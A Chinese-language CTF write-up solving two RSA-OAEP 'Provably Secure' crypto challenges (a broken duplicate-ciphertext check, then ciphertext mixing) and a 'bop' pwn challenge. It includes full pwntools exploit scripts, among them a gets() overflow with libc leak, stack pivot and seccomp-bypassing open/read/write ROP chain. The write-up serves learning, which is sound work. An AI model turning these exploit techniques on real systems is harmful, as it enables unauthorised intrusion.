过年又赶上羊了,基本上一个月休息,也没作个题。今年第一次,题都不会了。只作了3个简单小题。
Crypto/Provably Secure
题目提供了加密和解密功能,首先生成两个密钥key0,key1。用户先输入两个明文,系统生成一个0,1的随机数,加密模块通过随机数选择其中一个密文,生成随机值作为m0,然后与输入异或得到m1,分别用key0,key1加密后返回连到一起的密文。解密函数将用户输入的密文分开两段,分别用key0,key1解密后异或返回。猜对随机数128次即可。
有一个检查函数,禁止输入输出过的值,不过由于没加hex会导致检查无效。
#!/usr/local/bin/python
# Normally you have unlimited encryption and decryption query requests in the IND-CCA2 game.
# For performance reasons, my definition of unlimited is 8 lol
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
from secrets import randbits
from os import urandom
from Crypto.Util.strxor import strxor
def encrypt(pk0, pk1, msg):
r = urandom(16)
r_prime = strxor(r, msg)
ct0 = pk0.encrypt(r, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None))
ct1 = pk1.encrypt(r_prime, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None))
return ct0.hex() + ct1.hex()
def decrypt(key0, key1, ct):
ct0 = ct[:256]
ct1 = ct[256:]
r0 = key0.decrypt(ct0, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None))
r1 = key1.decrypt(ct1, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None))
return strxor(r0, r1)
if __name__ == '__main__':
print("""Actions:
0) Solve
1) Query Encryption
2) Query Decryption
""")
for experiment in range(1, 129):
print("Experiment {}/128".format(experiment))
key0 = rsa.generate_private_key(public_exponent=65537, key_size=2048)
key1 = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pk0 = key0.public_key()
pk1 = key1.public_key()
print("pk0 =", pk0.public_numbers().n)
print("pk1 =", pk1.public_numbers().n)
m_bit = randbits(1)
seen_ct = set()
en_count = 0
de_count = 0
while True:
choice = int(input("Action: "))
if choice == 0:
guess = int(input("m_bit guess: "))
if (guess == m_bit):
print("Correct!")
break
else:
print("Wrong!")
exit(0)
elif choice == 1:
en_count += 1
if (en_count > 8):
print("You've run out of encryptions!") #00000000000000000000000000000000
exit(0)
m0 = bytes.fromhex(input("m0 (16 byte hexstring): ").strip())
m1 = bytes.fromhex(input("m1 (16 byte hexstring): ").strip())
if len(m0) != 16 or len(m1) != 16:
print("Must be 16 bytes!")
exit(0)
msg = m0 if m_bit == 0 else m1
ct = encrypt(pk0, pk1, msg)
seen_ct.add(ct)
print(ct)
elif choice == 2:
de_count += 1
if (de_count > 8):
print("You've run out of decryptions!")
exit(0)
in_ct = bytes.fromhex(input("ct (512 byte hexstring): ").strip())
if len(in_ct) != 512:
print("Must be 512 bytes!")
exit(0)
if in_ct in seen_ct: #bytes,hex()不进行比较
print("Cannot query decryption on seen ciphertext!")
exit(0)
print(decrypt(key0, key1, in_ct).hex())
with open('flag.txt', 'r') as f:
print("Flag: " + f.read().strip())
由于查重的检查无效,所以直接把输出的密文输入即可得到两个明文之一,就能判断是哪个密文。
from pwn import *
p = remote('mc.ax', 31493)
context.log_level = 'debug'
for i in range(128):
p.sendlineafter(b"Action: ", b'1')
p.sendlineafter(b"m0 (16 byte hexstring): ", b'0'*32)
p.sendlineafter(b"m1 (16 byte hexstring): ", b'1'*32)
enc = p.recvline().strip()
p.sendlineafter(b"Action: ", b'2')
p.sendlineafter(b"ct (512 byte hexstring): ", enc)
m = p.recvline().strip()
p.sendlineafter(b"Action: ", b'0')
if m == b'0'*32:
p.sendlineafter(b"m_bit guess: ",b'0')
else:
p.sendlineafter(b"m_bit guess: ",b'1')
print(p.recvline())
#b'Flag: dice{yeah_I_lost_like_10_points_on_that_proof_lmao}\n'
Crypto/Provable Secure2
2和1只有检查查重这的区别,填了这个坑。
漏洞在于允许加密解密多次(最多8次),但使用相同的密钥。
if in_ct.hex() in seen_ct:
print("Cannot query decryption on seen ciphertext!")
exit(0)
先进行加密第1次输入0和1,第2次输入0和2,如果随机值是0则两次加密都使用0异或,随机值不变。发送第1次的前半部分和第2次的后半部分密文进行解密得到r1^r2,再发送第2次的前半部分和第1次的后半部分密文得到的也是r1^r2,两次相同则说明随机值是0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
p = remote('mc.ax', 31497)
context.log_level = 'debug'
for i in range(128):
p.recvuntil(b"pk0 =")
n1 = int(p.recvline())
p.recvuntil(b"pk1 =")
n2 = int(p.recvline())
p.sendlineafter(b"Action: ", b'1')
p.sendlineafter(b"m0 (16 byte hexstring): ", b'0'*32)
p.sendlineafter(b"m1 (16 byte hexstring): ", b'1'*32)
enc1 = p.recvline().strip()
p.sendlineafter(b"Action: ", b'1')
p.sendlineafter(b"m0 (16 byte hexstring): ", b'0'*32)
p.sendlineafter(b"m1 (16 byte hexstring): ", b'2'*32)
enc2 = p.recvline().strip()
p.sendlineafter(b"Action: ", b'2')
p.sendlineafter(b"ct (512 byte hexstring): ", enc1[:512]+enc2[512:])
m1 = p.recvline().strip()
p.sendlineafter(b"Action: ", b'2')
p.sendlineafter(b"ct (512 byte hexstring): ", enc2[:512]+enc1[512:])
m2 = p.recvline().strip()
p.sendlineafter(b"Action: ", b'0')
if m1 == m2:
p.sendlineafter(b"m_bit guess: ",b'0')
else:
p.sendlineafter(b"m_bit guess: ",b'1')
print(p.recvline())
#b'Flag: dice{my_professor_would_not_be_proud_of_me}\n'
后边的rsa都开始搞PKCS1_OAEP填充,等着看别的WP学。不过高手好像都不怎么写。
pwn/bop
这个pwn也很简单,先是一个printf然后gets有溢出
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Do you bop? ");
return gets(v4);
}
有两个小卡点(这个卡点不是出题人出的),第一是没告诉libc,原来一直是用libc.rip这个网站恰好挂了。老网站libc.blukat.me这个年久失修了,2.29以后的都没有,恰巧这题的libc是2.31
在网上找到几个LibcSeacher基本上都是久不更新的。最后找到一个这个libc-2.36都有。
git clone https://github.com/niklasb/libc-database.git
┌──(kali㉿kali)-[~/libc-database]
└─$ ./find printf c90 gets 970 setbuf ad0
ubuntu-glibc (libc6_2.31-0ubuntu9.9_amd64)
第二个点在系统使用了seccomp只允许open,read,write显然需要一个ORW的rop,只是libc-2.31已经不再使用open函数,64位用的open64调用openat。不过2.31保留了syscall可以直接通过syscall调用open
由于函数结尾用的是leave ret这里溢出后破坏rbp,这里用bss的地址进行一次移栈,同时把flag.txt放进去。
from pwn import *
#p = process('./bop')
p = remote('mc.ax', 30284)
context(arch='amd64', log_level='debug')
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
pop_rsi = 0x00000000004013d1 # pop rsi ; pop r15 ; ret
elf = ELF('./bop')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
bss = 0x404800
rop = flat(b'A'*0x20, bss, pop_rdi, elf.got['setbuf'], 0x401348)
p.sendlineafter(b"Do you bop? ", rop)
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['setbuf']
pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret
rop = flat(b'flag.txt',b'\x00'*0x18, 0x404800, pop_rdi, 2, pop_rsi, bss-0x20, pop_rdx, 4, libc.sym['syscall'], pop_rdi, 3 ,pop_rsi, bss+0x200, pop_rdx, 0x50, libc.sym['read'], pop_rdi, 1, pop_rsi, bss+0x200, pop_rdx, 0x50, libc.sym['write'])
p.sendline(rop)
print(p.recv(0x50))
p.interactive()